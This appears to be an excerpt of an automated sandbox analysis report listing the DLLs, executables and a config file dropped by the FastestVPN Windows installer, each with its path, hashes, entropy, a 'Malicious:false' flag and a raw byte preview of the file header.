                                                                                                                Category:dropped
                                                                                                                Size (bytes):347016
                                                                                                                Entropy (8bit):6.2576059322299855
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6144:+h0+XUaITFNwVI1ZdMfWsaYi3am2Wt6hn7UQjva9v:+u+XUTTvvndMfv64oQu
                                                                                                                MD5:F4B5415B6C9EC38B073779A034421747
                                                                                                                SHA1:DADEC8724A898C84A9F52A86A5D0ACFA71758341
                                                                                                                SHA-256:2672829713F57630F2FC4DA57926456DDA7832F0E0F474F06462D2340B4DC4E3
                                                                                                                SHA-512:82C58B9061CB8B4603B88AB69CD43461A886029AA7CE1A1ADB614F07EEE90FA979F7CC524272D6A494BADC79254906182DE5A90BF992E48160CA5C3DBE57C334
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U=............" ..0..............<... ...@....... ....................................`.................................z<..O....@...............(...#...`.......;..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B.................<......H.......$....m..............H(...;........................................{0...*..{1...*V.(2.....}0.....}1...*...0..;........u......,/(3....{0....{0...o4...,.(5....{1....{1...o6...*.*. .... )UU.Z(3....{0...o7...X )UU.Z(5....{1...o8...X*.0...........r...p......%..{0....................-.q.............-.&.+.......o9....%..{1....................-.q.............-.&.+.......o9....(:...*..{;...*..{<...*V.(2.....};.....}<...*...0..;........u......,/(3....{;....{;...o4...,.(5....{<..

                                                                                                                C:\Program Files\FastestVPN\Service\is-QTG1V.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):35496
                                                                                                                Entropy (8bit):6.3718937380199785
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:PS78zRHlzbzaxUxU7y7y7y7S7CxUxU7y3K7yTyTTN77xNTOLSxY777DKoRREEK7/:PS7DOOqf1RuhC5v7YK/CW1
                                                                                                                MD5:D438F337397A4CB3CA4E87F70BC4B4C0
                                                                                                                SHA1:FB6FB592744E34BA9B8B9E2B05F6D9C0C983F353
                                                                                                                SHA-256:80E40E47F7D6EB2C9CB357B1B3951D0B0429087F44BEC066993C26975CDA4A76
                                                                                                                SHA-512:8B9E589D378775331C08CEB908C4FC3BCA2AFBEA776E86163E5C641BF1D5F5E84BBA76B6E5C0102EC388005F8D09EAAA80DFB60185C83BF462543A6903236204
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>............." ..0..X...........v... ........... ...............................k....`..................................v..O....................`...*...........v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................v......H........3...B...........................................................0.................(n...........................s)...}................s%...}................s....}................s....}................s....}................s....} ...............s!...}!...............s....}"...............s....}#...............s=...}$...............s9...}%...............s5...}&...............sA...}'...............sE...}(...............s-...})...............s1...}*........(....(....(....

                                                                                                                C:\Program Files\FastestVPN\Service\is-TUPQN.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):65960
                                                                                                                Entropy (8bit):6.704364809732977
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:qC7HwuzTT2IiiiiHnt7qMkPFb5NMBFv8n+nwfqw9ScubQyvz8:LTT2IiN09yPFbwBFyysqhvQyvo
                                                                                                                MD5:3B6AD220174768E52510D449C7A5C817
                                                                                                                SHA1:E76CB664268F45939A0A604E31CAB3DBE957510A
                                                                                                                SHA-256:294A04A1305277ABDF2539649F8A7909DAC57ECF61F223600227BC1CDED6E2DC
                                                                                                                SHA-512:43852FA0F4FD12967DAAF81613FF3C52EAD432F39E579E1C5C834595881A9E6AC156BCE326CEE3EB78D11D81AD33792870D31F81D7737483CF36636DB30DFCF1
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... .......................@......=.....`.................................e...O....... ................'... ......`...p............................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc....... ......................@..B........................H........H...u..............X............................................0..>........-.r...ps....z.o....r...p..o....,..uW.....(....-..*("...s....z..-.r...ps....z.-.r...ps....z.o....r...p.o ...*..(!....s"...(......(......(....*..{....*R..}.....(.....o#...*..{....*"..}....*..{....*"..}....*z.(!.....(......%-.&s$...(....*..{....*"..}....*..{....*"..}....*..(!....-.r...ps....z..(%...s&...}.....{....o'...-.r...ps(...z*....0..g.........,..*.-.r...ps....z.o)...o*..../..*.o)...o+....

                                                                                                                C:\Program Files\FastestVPN\Service\nfapi.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):159368
                                                                                                                Entropy (8bit):6.32384599449582
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:OcqXDYZbIkCKezJaoCNVljUmcmAs6Jm4AFt2iPaTatnhrOKK/E:9qbKwcB4njeXBSTcpOT/E
                                                                                                                MD5:7AE17C855F3CC63174E90EA527B6138B
                                                                                                                SHA1:0FE1E1B2252511F33EDA3FFCF1F8FC8586AB040A
                                                                                                                SHA-256:26FF04208EC4D26EF4DDD9B3CF01C4D2A1544550BCD59EFDE6F30170053A1170
                                                                                                                SHA-512:453BA41332A704F491FC9E1EE5FBE9F883EDDB4C26A71D207C93992726E9C5B7FEDC48EEEE2A2087F64B083F9473EE794FB2C8F3B77C9DBCBBC47B67816BD156
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............Y.......................................................................Rich....................PE..L.....[...........!.........................................................`..................................................P.... ..`............@.......0..(...0...............................0...@............................................text....w.......................... ..`.rdata...A.......P..................@..@.data....6....... ..................@....rsrc...`.... ......................@..@.reloc..2(...0...0..................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Service\subinacl.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):301224
                                                                                                                Entropy (8bit):5.822993671222324
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:I856+Aq4WBT5TjbyfQ5d2ap3BES3l+3p7z8p5+cyIqrKMjE3g2AJX5ex4uyj0bOP:v56+Aq4WBTWpSqXhpeEioU2U7/c
                                                                                                                MD5:8E545EE7F96C317AADC4EDA0F0FCF481
                                                                                                                SHA1:242F4D714B142C10368AA82AF91B0A06E0A4E33F
                                                                                                                SHA-256:A67BBFB9EFE5C1CD55D3B8209093BA93370F1EAE4F03A0349696D7B45867EAFC
                                                                                                                SHA-512:77EBC317804B3D0830E76156D93A38980CA113CA80B0A3A2051FDF00D2ABAC96A39AA9BF099AE9CC5AF1E27D14976B5C582096DD6B3AB7F521423FCE6EC11FDE
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._.Y.1.Y.1.Y.1..l.[.1...>.].1.[.5.[.1.9.|.X.1...l.D.1.Y.0.p.1...n.V.1...Q.M.1...o.X.1...k.X.1.RichY.1.........PE..L...[..@.................J...................`...............................P......2............ ...........................=..T....@...............n...*..............................................@............................................text....I.......J.................. ..`.data...L....`.......N..............@....rsrc........@.......^..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\SingleInstanceApplication.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):160936
                                                                                                                Entropy (8bit):5.261187861382329
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:kgeojL/a7WvVHjizsw+Uu5MBBA4TigO8K/1:5jDzvVDizsQWMB1iR/1
                                                                                                                MD5:F3F2EB62314A960AD5F60B61A8193CBD
                                                                                                                SHA1:FD77AD6D9F96762CD7EE8D17454D9A7490FD8148
                                                                                                                SHA-256:0F74E741958310B8E65E3B2393828998DB075EBF4C5B29045707948C65CB03CC
                                                                                                                SHA-512:A62D09CF93E604AE0282F05842B607216533800F82ABF75E7D0FF1E9DED5F748B9E34D5E38170F1C837A0957D15FC4C6DF101FF2BE48D90C880807D0FB95D3E6
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2.Z...........!.........,......n:... ...@....... ....................................@..................................:..S....@..8)...........J...*...........8............................................... ............... ..H............text...t.... ...................... ..`.rsrc...8)...@...*..................@..@.reloc...............H..............@..B................P:......H........#......................P ............................................y.....3....f........UE#.H.NDC..\3,.|7...1...=.w..n.w.P5.y.......p.._Z@B..h..#,._...p...|..qXV..6.......i[..2;.'`..=.;...~....*..0..T.......(..........(....(......r...pr...p(...........s..........,..(......T+...~....(....T.*.~....,.~....o..........~....,.~....(..........*.0..e.......s.......o....s......r5..p.o ....r?..p.o ....rQ..pry..po .....s!........~.....("...s#.....r...p($...&*....0..A.......

                                                                                                                C:\Program Files\FastestVPN\System.Buffers.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):22696
                                                                                                                Entropy (8bit):6.669675167195394
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:PICREYcfpyXOT9Z7a6WmYWXWIYiAh70FP27NBY3Yuv+9gfK:PIiE9QXM1xYioMK/Y/+9gi
                                                                                                                MD5:657A48C8DA3DE14059498E383EBEF318
                                                                                                                SHA1:ECCC9AB4E6804EB0581AC5BBD684B7DB5A13F028
                                                                                                                SHA-256:201EC78B195DCE51330985026A8A4EC641F9ACE53429C5C2F5BB3F1CE7BEEC4A
                                                                                                                SHA-512:C4F2410470BBEA5680958490B705C828254992441D27E5FB7837957583FDA8D639EA8D9EF00035DB63ABACF28C5E4560D642C1D19F144255908C44F5C37CE8DE
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....oY.........." ..0..$..........:C... ...`....... ....................................@..................................B..O....`...................*...........A............................................... ............... ..H............text...@#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc...............,..............@..B.................C......H.......h'..p............?..X...0A......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*......(....*..(....*R. ...(...+%-.&("...*^. ...(#....(...+&~ ...*.s%...*"..s&...*..('...*.*....0........................((

                                                                                                                C:\Program Files\FastestVPN\System.Memory.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):143528
                                                                                                                Entropy (8bit):6.164743567434074
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:oxi8ae06y7Q0kSutmvEmFk0pBa/+h8k/6kY2F8xB0dhqABtx5yoG9Qd7n8K/m:Q0vDkSutmhFpYqtDqAhjMQdYK/m
                                                                                                                MD5:24DF113016A58EB1D14691CFE947C2C8
                                                                                                                SHA1:E32B2388C9BCB8BD3EEA1A87626B562A06F5E2F9
                                                                                                                SHA-256:4DE9980CF1D3B45FC14F69EA4DFF6F456389C5E817344D44D6FA7C1A3276AFB5
                                                                                                                SHA-512:10DD82391CF51885533A5F9F859D7E79A9016F6E6A24C0A04C9BE08EA4C5A951D73AF467EC89BAB191DAC4B37D51B0C0AB247A24CD05478AD6101A44E9FC0D48
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U..\.........." ..0.............b.... ... ....... .......................`......q[....@.....................................O.... ..8................*...@..........8............................................ ............... ..H............text...8.... ...................... ..`.rsrc...8.... ......................@..@.reloc.......@......................@..B................C.......H........,..L...........,.................................................((...*>..}......}....*..{....*..{....*..{.....{....3..{.....{....()...*.*..0...........%.u....,..........(....*.*z.{....%-.&.+.o*....{....(a...*..(....zN........o+...s,...*.(....z.s-...*..(....zF(U....(O...s....*.(....z.(V...s....*.(....z.s/...*.(....z.s0...*..(....zN........o+...s1...*.(....zrr...p(\....c.M...(O...s2...*.(....zBr...p(Y...s2...*.(....z.s3...*.(....z.(X...s4...*.(!...z.(_...s4...*.(#...z

                                                                                                                C:\Program Files\FastestVPN\System.Numerics.Vectors.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):110760
                                                                                                                Entropy (8bit):5.479763068610726
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:hpKSyD3hoE3PQU9xb1iPKHKWU//6hE2rkQQc76rK/8:qSyLhZ/X9xb1YKqn/unQcOrK/8
                                                                                                                MD5:3FC875FFEFAC2BBA64E6F2A6A7CFF45B
                                                                                                                SHA1:CAB48D6D156261CD9612633D70A61DA670D0D093
                                                                                                                SHA-256:5A12A8D3CA02716C616F56342C920422966ABF79B49C4B1E1C7FF36E97764E1B
                                                                                                                SHA-512:DDA0B6F0587D7915B490FFA2225E72374A2AA671E2019ABDC72EB7598B642906CF09302575C5B5B495B832FF434D45BAD0650C0409358E5D1786F4561FAE3636
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....oY.........." ..0..v..........j.... ........... ....................................@.....................................O........................*..........t................................................ ............... ..H............text...pu... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B................K.......H.......,S..0>..........\.................................................(....*&.l(....k*&.l(....k*..l.l(....k*&.l(....k*&.l(....k*&.l(....k*j~....%-.&(....s....%.....*..*.0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*2rG..p.(....*2r...p.(....*2r...p.(....*......(....*...

                                                                                                                C:\Program Files\FastestVPN\System.Runtime.CompilerServices.Unsafe.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):16768
                                                                                                                Entropy (8bit):6.361391591273708
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:LGLxTyHvc4ROgcxAdWXYWJeaPtWsI9A9GaHnhWgN7aJeWw0fnCsqnajt:LgGLROZAdWXYW8aPcyHRN7WEqn1lx
                                                                                                                MD5:DA04A75DDC22118ED24E0B53E474805A
                                                                                                                SHA1:2D68C648A6A6371B6046E6C3AF09128230E0AD32
                                                                                                                SHA-256:66409F670315AFE8610F17A4D3A1EE52D72B6A46C544CEC97544E8385F90AD74
                                                                                                                SHA-512:26AF01CA25E921465F477A0E1499EDC9E0AC26C23908E5E9B97D3AFD60F3308BFBF2C8CA89EA21878454CD88A1CDDD2F2F0172A6E1E87EF33C56CD7A8D16E9C8
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^...........!................^2... ...@....@.. ...............................y....@..................................2..S....@...................#...`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@2......H........#..@...................P ......................................{.v.`)!.t..@.62C<.=...h....X..}.`v.r...g.e...yXa.dat.mwQ.XdJ...M..`..J...$|.j.6W.U.3.r.A.h.....9Q..|..,<g..gy..6V9o%..Gd.r.0...........q....*..0..............q....*...0..............q....*...0.................*.0....................*..0....................*..0............q.........*....0............q.........*....0............*..0................*..0...............*...0...............*...0..........

                                                                                                                C:\Program Files\FastestVPN\System.Threading.Tasks.Extensions.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25984
                                                                                                                Entropy (8bit):6.291520154015514
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:1R973o62/KqcAnb05J3w0I5eUGef8s72XBWdvVW2JW8aJcyHRN7WEimpplex:1RZ4nNxnYTb6Blha
                                                                                                                MD5:E1E9D7D46E5CD9525C5927DC98D9ECC7
                                                                                                                SHA1:2242627282F9E07E37B274EA36FAC2D3CD9C9110
                                                                                                                SHA-256:4F81FFD0DC7204DB75AFC35EA4291769B07C440592F28894260EEA76626A23C6
                                                                                                                SHA-512:DA7AB8C0100E7D074F0E680B28D241940733860DFBDC5B8C78428B76E807F27E44D1C5EC95EE80C0B5098E8C5D5DA4D48BCE86800164F9734A05035220C3FF11
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ....................................@..................................V..O....`...............B...#..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(....*..(....z..(....z2.(....s....*2.(....s....*:........o....*.~....*~.-..(......}......}......}....*~.-..(......}......}......}....*Z..}......}......}....*J.{....%-.&.*o....*^.u....,........(....*.*~.{.....{....3..{.....{......*.*&...(....*2...(.......*....0..'........{......,..u....%-.&..(...+(....*(....*n.{....,..(....s....*.q....*..0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......

                                                                                                                C:\Program Files\FastestVPN\Updater.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):354984
                                                                                                                Entropy (8bit):6.846739611307464
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6144:jbz6pzdD/rIJXiQTutgCNktQFvmnoxXTS4ubCjrKglegtKop/4:G9FrIJJaqCNktA+SXfUCP9lvtKop/4
                                                                                                                MD5:D822226C4B35A7305269C8E16E542D3E
                                                                                                                SHA1:12F92D16608AAC1C39DDC92BA2B5AB8B5AAE6C30
                                                                                                                SHA-256:FC504A3F68150AFC8C3304E5528867BF99EDDE0F3707406A30371062DDD86A0E
                                                                                                                SHA-512:3A3A18D96716BD1033C35B06B73674FF6CBBEBE8F5025D0BE260F649FB268745290139B6501B9E208EB43EC5D76C2ABBA0A34C1E2F7E0E9F25E14C41F54E3914
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....I}f.........."...0......D......6.... ... ....@.. ..............................o.....`.....................................O.... ..tA...........@...*........................................................... ............... ..H............text...<.... ...................... ..`.rsrc...tA... ...B..................@..@.reloc...............>..............@..B........................H........'... ...........G...............................................~....*.......*..,!.(...+.1..(...+(....-..(...+(....s....%o....%.o....o....&*....0..5........r...p.s....(.....{....,.*..}....r!..p.s.......(....*"..}....*..(....*.rY..p.....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*...0............j(......j(.....(....,#.(....o....,..(....o ....(....o!.....(......&...s"...(.....(

                                                                                                                C:\Program Files\FastestVPN\Updater.exe.config (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1106
                                                                                                                Entropy (8bit):5.038231865445437
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:2dV8F7H3p2/+XBPpZp2/+XBPqp2/+XBw1irkV:cVg7C+XBR4+XBn+XBvrE
                                                                                                                MD5:75E66AB540561A0C7D4160271F518243
                                                                                                                SHA1:AD6501E407D216744B6C3DE76D7664D9581EBAD2
                                                                                                                SHA-256:091AFFF3BB63024B5A7B14EA30306B6753858FD1A33FC8C98E3B5E65FE92FBE7
                                                                                                                SHA-512:FCB55C0FDBB984B06AFF2FAFCAEA2596C175AA5A07D2F1A401305D3441338AA266A53D2DE7A7577684884A2E12CE3EE430B2E1D0210684A7EEFAF9EAA0DE115F
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.... <appSettings>.. <add key="DownloadLocation" value=""/>.. </appSettings>.... <runtime>.... <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.... <dependentAssembly>.... <assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Threading.Tasks" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Net.Http" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... </assemblyBinding>.... </runtime>

                                                                                                                C:\Program Files\FastestVPN\VPN.AdvancedNetwork.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):35496
                                                                                                                Entropy (8bit):6.3704146545353355
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:yS78zRHlzbzaxUxU7y7y7y7S7CxUxU7y3K7yTyTTN77xNTOLSxY777DKoRREEK79:yS7DOOqf1RuhC5w78K/m
                                                                                                                MD5:26592109F19A24EE91F039EBB40038C4
                                                                                                                SHA1:C8846404EFEB44C6CBB242B4C107F7CCE865AD14
                                                                                                                SHA-256:E3F74128991C128410498223D4185915528360AD3DA92CD01BC23B19D8C2C670
                                                                                                                SHA-512:8B031C53F5529D50A80AE2A4803D7C34F9A71A54DA01A912D1DB4D77D9BC1F490AB634A32F2DF6009EB53A2E57CD21975F3E00AF111BFA8320DE550A17509CA1
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>............." ..0..X...........v... ........... ...............................S....`..................................v..O....................`...*...........v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................v......H........3...B...........................................................0.................(n...........................s)...}................s%...}................s....}................s....}................s....}................s....} ...............s!...}!...............s....}"...............s....}#...............s=...}$...............s9...}%...............s5...}&...............sA...}'...............sE...}(...............s-...})...............s1...}*........(....(....(....

                                                                                                                C:\Program Files\FastestVPN\VPN.Common.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):60584
                                                                                                                Entropy (8bit):6.4260026936119194
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:D0YiwXHy9lkD6vudI9C3dt8dNbm+ESg34o556bYIDwpFGpphsA/FIDbaFLdtlxn+:DxJ8kM9CHJ6bY3zkXX8u4iNa7ogBK/o
                                                                                                                MD5:550D6E67BB1795B941E91840508BF7F6
                                                                                                                SHA1:46E22693BDC92F4E8DD8C4C5433D233438A271EF
                                                                                                                SHA-256:D4B4CEB77A3D429EE21412E5172AAC6E36C553E7D990137F212E5ADD6B9A9336
                                                                                                                SHA-512:1271BEC8A700AC925B9AC13FDB84FFCCFFA6A1589FA3F9FA1361282C47BB8985A7C8F0335EFDD422E2A708BF2DD46458AEF64B4E2A54B8488F8ED53750337A23
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............r.... ........... ....................... ............`................................. ...O........................*..............8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................T.......H.......T0..4.............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*>.(....o4......*>.(....o4......*>.(....o2......*>.(....o2......*>.(....o2......*v.(....-..(....,..(....+..+..*..{....*"..}....*6..s....}....*..0............(......,...(k.....*....0..4.......s......(....}......}......}......}.....|......(...+*.0..Y.........(....o....r...p(....(c....(f....(g.....(......,&.

                                                                                                                C:\Program Files\FastestVPN\VPN.OpenVpn.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):31912
                                                                                                                Entropy (8bit):6.377831305172757
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:i4sSUSsK/Py54Iu67VMam4AX10KIUt0kYcT/EDYZGSPeyc8cHIlkLi7FIYihZM09:izNK/G4IfVswkYLy5L7yYihrK/Y/+mT
                                                                                                                MD5:CE66CBCDA6D3B5047691C4AFF63CFE79
                                                                                                                SHA1:358E3A2284798BE1C537756A41721B61643D2BEE
                                                                                                                SHA-256:B8551ECBE96BB718BAA56E053589A7F16561BFDAB86575441EC5FBE528B32B8C
                                                                                                                SHA-512:7BC26EDD1C018553B163B75250B5862D26B607C26BDBFB6934F0AC5CE20B04D1956EEAF3915CBCE2129CD992ECA6E1B1C311991427D485CB43969A05431270E4
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r.C..........." ..0..J..........~h... ........... ..............................wt....`.................................*h..O....................R...*...........g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............P..............@..B................^h......H........1...5............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*&..(.....*...0...........s.......o.....+X..(.........(....o....o....&..(.........,!..r...po....&...(....o....o....&..r...po....&...(....-...........o ......o....o!.....+...*...........et.......0...........s"...%r...p.o#....%r...pr#..po#....%r+..prA..po#....%r]..p.($...o%...o#....%ro..p.($...o&............o....o'...o#....%r...p.($...o(....

                                                                                                                C:\Program Files\FastestVPN\VPN.RAS.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):41128
                                                                                                                Entropy (8bit):6.4006875255426365
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:dQq+jQ+JutCjyVmF8Wq8sBP3/7lpKaDBuz3bzrzlJBOKipq8pdwYv4qzsYiCtVK9:gVutFQF873t3/77KaDBuz3bzrBJBOKig
                                                                                                                MD5:FDF4712500755002CD0FFD2F7BEA8C2A
                                                                                                                SHA1:372F4D6F2F19A5DF96FCDEF566AE4761F7AFF2B5
                                                                                                                SHA-256:D61A675E7D11A6DDF12E4CEBCABFD7BAAA24B86AD7B751BE19788E7A8A5ABE39
                                                                                                                SHA-512:6484349215D1347FB3D77E6598AF740045AC416EE06370B8D89E91ECBA930E5AFFCE6F4840CE4ECD2214960E1884CCBE49710E5B5C1FEBE0C96F88A099AE2E4E
                                                                                                                Malicious:false
